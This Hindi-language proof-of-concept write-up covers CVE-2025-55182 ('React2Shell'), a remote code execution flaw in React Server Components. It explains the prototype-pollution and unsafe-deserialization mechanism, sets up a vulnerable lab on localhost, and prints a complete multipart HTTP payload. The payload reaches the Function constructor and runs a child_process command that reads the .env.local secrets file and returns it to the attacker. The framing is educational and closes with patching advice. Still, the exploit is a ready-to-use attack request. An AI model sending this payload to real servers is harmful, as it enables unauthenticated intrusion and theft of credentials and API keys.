
यह रिपॉज़िटरी CVE-2025-55182 (React2Shell) के लिए एक proof-of-concept प्रदान करती है, जो React Server Components में एक remote code execution कमज़ोरी है। यह दर्शाती है कि exploit कैसे काम करता है, जिसमें payload और impact शामिल हैं।
CVE-2025-55182, जिसे React2Shell के नाम से भी जाना जाता है, एक गंभीर रिमोट कोड निष्पादन (RCE) कमजोरी है जो React Server Components को प्रभावित करती है। यह त्रुटि React के Flight प्रोटोकॉल में असुरक्षित डिसीरियलाइज़ेशन समस्या का फायदा उठाकर अप्रमाणित हमलावरों को कमजोर सर्वर पर मनमाना कोड निष्पादित करने में सक्षम बनाती है।
CVSS स्कोर 10.0 को देखते हुए, यह कमजोरी अत्यधिक गंभीर है और तत्काल ध्यान देने की आवश्यकता है। इस पोस्ट में, मैं आपको कमजोरी के विवरण, शोषण तंत्र से परिचित कराऊंगा, और प्रूफ-ऑफ-कॉन्सेप्ट (PoC) प्रदर्शन प्रदान करूंगा। आइए गहराई से समझें।
निम्नलिखित संस्करण React Server Components और संबंधित पैकेज कमजोर हैं:
React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0
प्रभावित पैकेज:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
React.js यूज़र इंटरफ़ेस बनाने के लिए सबसे लोकप्रिय जावास्क्रिप्ट लाइब्रेरीज़ में से एक है, विशेष रूप से सिंगल-पेज एप्लिकेशन (SPAs) के संदर्भ में। यह डेवलपर्स को गतिशील और इंटरैक्टिव उपयोगकर्ता अनुभव बनाने में सक्षम बनाता है।
React Server Components (RSC) एक प्रयोगात्मक सुविधा है जो React ऐप के कुछ हिस्सों को क्लाइंट के बजाय सर्वर पर रेंडर करने की अनुमति देती है। इससे क्लाइंट-साइड पर आवश्यक जावास्क्रिप्ट की मात्रा कम हो जाती है और प्रदर्शन में सुधार होता है, विशेष रूप से बड़े अनुप्रयोगों में।
हालाँकि, RSC नई जटिलताएँ लाता है, विशेष रूप से सर्वर और क्लाइंट के बीच डेटा के आदान-प्रदान में। CVE-2025-55182 Flight प्रोटोकॉल के साथ ऐसी ही एक समस्या का शोषण करता है, जिसका उपयोग RSC में सर्वर और क्लाइंट के बीच डेटा स्थानांतरित करने के लिए किया जाता है।
CVE-2025-55182 React के Flight प्रोटोकॉल में असुरक्षित डिसीरियलाइज़ेशन से उत्पन्न होता है। डिसीरियलाइज़ेशन सीरियलाइज़्ड डेटा (आमतौर पर JSON) को मेमोरी में ऑब्जेक्ट में बदलने की प्रक्रिया है। React सर्वर-साइड रेंडरिंग के दौरान सर्वर और क्लाइंट के बीच आदान-प्रदान किए जाने वाले डेटा को संभालने के लिए इस प्रक्रिया का उपयोग करता है।
हालाँकि, React का डिसीरियलाइज़ेशन कार्यान्वयन असुरक्षित है। विशेष रूप से, React ऑब्जेक्ट के गुणों तक पहुँचने के लिए ब्रैकेट नोटेशन का उपयोग करता है (जैसे, moduleExports[metadata[2]]), जो हमलावरों को जावास्क्रिप्ट ऑब्जेक्ट की प्रोटोटाइप श्रृंखला में हेरफेर करने की अनुमति देता है। इसके परिणामस्वरूप प्रोटोटाइप प्रदूषण होता है और अप्रत्याशित तरीकों से ऑब्जेक्ट के गुणों को संशोधित करने की क्षमता खुलती है, जिससे हमलावर डिसीरियलाइज़ेशन लॉजिक का फायदा उठा सकते हैं।
कमजोरी का मूल इस बात में निहित है कि React Flight प्रोटोकॉल पेलोड को कैसे संभालता है। प्रॉपर्टी एक्सेस के लिए ब्रैकेट नोटेशन का उपयोग हमलावरों को प्रोटोटाइप श्रृंखला को पार करने की अनुमति देता है, जिससे उन्हें उन गुणों तक पहुँच मिलती है जो सामान्य रूप से सुलभ नहीं होने चाहिए—जैसे constructor। इस गुण में हेरफेर करके, हमलावर वैश्विक Function कंस्ट्रक्टर तक पहुँच सकते हैं और सर्वर पर मनमाना जावास्क्रिप्ट कोड निष्पादित कर सकते हैं।
शोषण सर्वर पर एक विशेष रूप से तैयार पेलोड भेजकर काम करता है, जो Flight प्रोटोकॉल के डिसीरियलाइज़ेशन लॉजिक में हेरफेर करता है। प्रोटोटाइप प्रदूषण और असुरक्षित डिसीरियलाइज़ेशन के संयोजन से, एक हमलावर सर्वर का नियंत्रण प्राप्त कर सकता है और मनमाना कोड निष्पादित कर सकता है।
हमले के मुख्य घटकों में शामिल हैं:
प्रोटोटाइप प्रदूषण: हमलावर किसी ऑब्जेक्ट की प्रोटोटाइप श्रृंखला में हेरफेर करके नए गुणों को इंजेक्ट करता है, जिसमें constructor और Function गुण शामिल हैं।
पेलोड निष्पादन: एक बार जब हमलावर के पास Function कंस्ट्रक्टर तक पहुँच हो जाती है, तो वे फ़ाइलों को पढ़ने या सिस्टम कमांड निष्पादित करने जैसी मनमानी जावास्क्रिप्ट कोड निष्पादित कर सकते हैं।
शोषण का परीक्षण करने के लिए, आपको एक कमजोर React वातावरण की आवश्यकता होगी। इसे स्थापित करने का तरीका यहाँ दिया गया है:
npx [email protected] poc-react2shell cd poc-react2shell
वैकल्पिक रूप से, आप पूर्व-कॉन्फ़िगर्ड GitHub रिपॉज़िटरी का उपयोग कर सकते हैं जिसमें पहले से ही कमजोर सेटअप मौजूद है।
एक परीक्षण वातावरण फ़ाइल बनाएँ
अपने प्रोजेक्ट की रूट डायरेक्टरी में, API कुंजी जैसे संवेदनशील डेटा वाली एक .env.local फ़ाइल बनाएँ। हमलावर PoC में इस फ़ाइल को लक्षित करेगा:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
डेवलपमेंट सर्वर प्रारंभ करें
डेवलपमेंट सर्वर चलाएँ:
npm run dev
कमजोर सर्वर अब http://localhost:3000 पर चल रहा होगा।
एक बार आपका वातावरण तैयार हो जाने पर, शोषण को ट्रिगर करने के लिए दुर्भावनापूर्ण पेलोड भेजें। यहीं पर Burp Suite या कोई अन्य HTTP प्रॉक्सी टूल काम आता है।
दुर्भावनापूर्ण पेलोड भेजें
Burp Suite खोलें और Repeater टैब पर जाएँ। लक्ष्य URL को http://localhost:3000/ पर सेट करें और निम्नलिखित दुर्भावनापूर्ण पेलोड भेजें:
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
प्रतिक्रिया का विश्लेषण करें
अनुरोध भेजने के बाद, यदि शोषण सफल होता है, तो सर्वर आपकी .env.local फ़ाइल की सामग्री (या पर्यावरण चर में कोई भी संवेदनशील डेटा) के साथ प्रतिक्रिया देगा। यह गोपनीय डेटा तक हमलावर की पहुँच की पुष्टि करता है।

Host: लक्ष्य सर्वर (localhost:3000) निर्दिष्ट करता है।
User-Agent: अनुरोध करने वाले क्लाइंट की पहचान करता है। स्ट्रिंग सामान्यतः ब्राउज़र से होती है, लेकिन यहाँ हमले को अस्पष्ट करने के लिए तैयार की जा सकती है।
Next-Action: संभवतः Next.js की प्रोसेसिंग का हिस्सा, यह सर्वर को भ्रमित कर सकता है या डिसीरियलाइज़ेशन प्रक्रिया के साथ इंटरैक्ट कर सकता है।
X-Nextjs-Request-Id: Next.js में ट्रैकिंग और डिबगिंग के लिए अद्वितीय अनुरोध आईडी।
Content-Type: मल्टीपार्ट फ़ॉर्म डेटा, जिसका उपयोग JSON या फ़ाइल अपलोड जैसे संरचित डेटा के लिए किया जाता है।
Content-Length: अनुरोध निकाय की लंबाई इंगित करता है।
फ़ील्ड 0: वह पेलोड शामिल है जो प्रोटोटाइप प्रदूषण को ट्रिगर करता है। यह ऑब्जेक्ट के प्रोटोटाइप को संशोधित करता है, एक नया then गुण जोड़ता है, और एक दुर्भावनापूर्ण _response ऑब्जेक्ट शामिल करता है। _prefix .env.local फ़ाइल को पढ़ने के लिए एक child_process कमांड चलाता है।
फ़ील्ड 1: हमले को फैलाने के लिए फ़ील्ड 0 का संदर्भ देता है।
फ़ील्ड 2: खाली सरणी, यह सुनिश्चित करती है कि पेलोड की संरचना बरकरार रहे।
CVE-2025-55182 कमजोरी हमलावरों को सक्षम बनाती है:
सर्वर पर मनमाना कोड निष्पादित करना।
API कुंजियाँ और कॉन्फ़िगरेशन फ़ाइलें जैसी संवेदनशील फ़ाइलें पढ़ना।
रिवर्स शेल स्थापित करना, संभावित रूप से सर्वर का पूर्ण नियंत्रण प्राप्त करना।
सर्वर से संवेदनशील डेटा बाहर निकालना।
CVE-2025-55182 (React2Shell) React Server Components में एक गंभीर कमजोरी है जो अप्रमाणित हमलावरों को कमजोर सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है। असुरक्षित डिसीरियलाइज़ेशन और प्रोटोटाइप प्रदूषण का शोषण करके, हमलावर सर्वर पर पूर्ण नियंत्रण प्राप्त कर सकते हैं, संवेदनशील डेटा पढ़ सकते हैं, और दुर्भावनापूर्ण कमांड निष्पादित कर सकते हैं।
यदि आप React Server Components का उपयोग कर रहे हैं, तो इस कमजोरी को कम करने के लिए नवीनतम पैच किए गए संस्करणों में अपडेट करना महत्वपूर्ण है। इनपुट सत्यापन और उचित डिसीरियलाइज़ेशन हैंडलिंग जैसी सर्वोत्तम सुरक्षा प्रथाओं का पालन करना समान कमजोरियों को रोकने के लिए आवश्यक है।
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। सिस्टम स्वामी से स्पष्ट, लिखित सहमति के बिना किसी भी सिस्टम पर कमजोरियों का शोषण या परीक्षण करने का प्रयास न करें। अनधिकृत परीक्षण अवैध और अनैतिक हो सकता है। साइबर सुरक्षा में हमेशा कानूनी और जिम्मेदार प्रथाओं का पालन करें।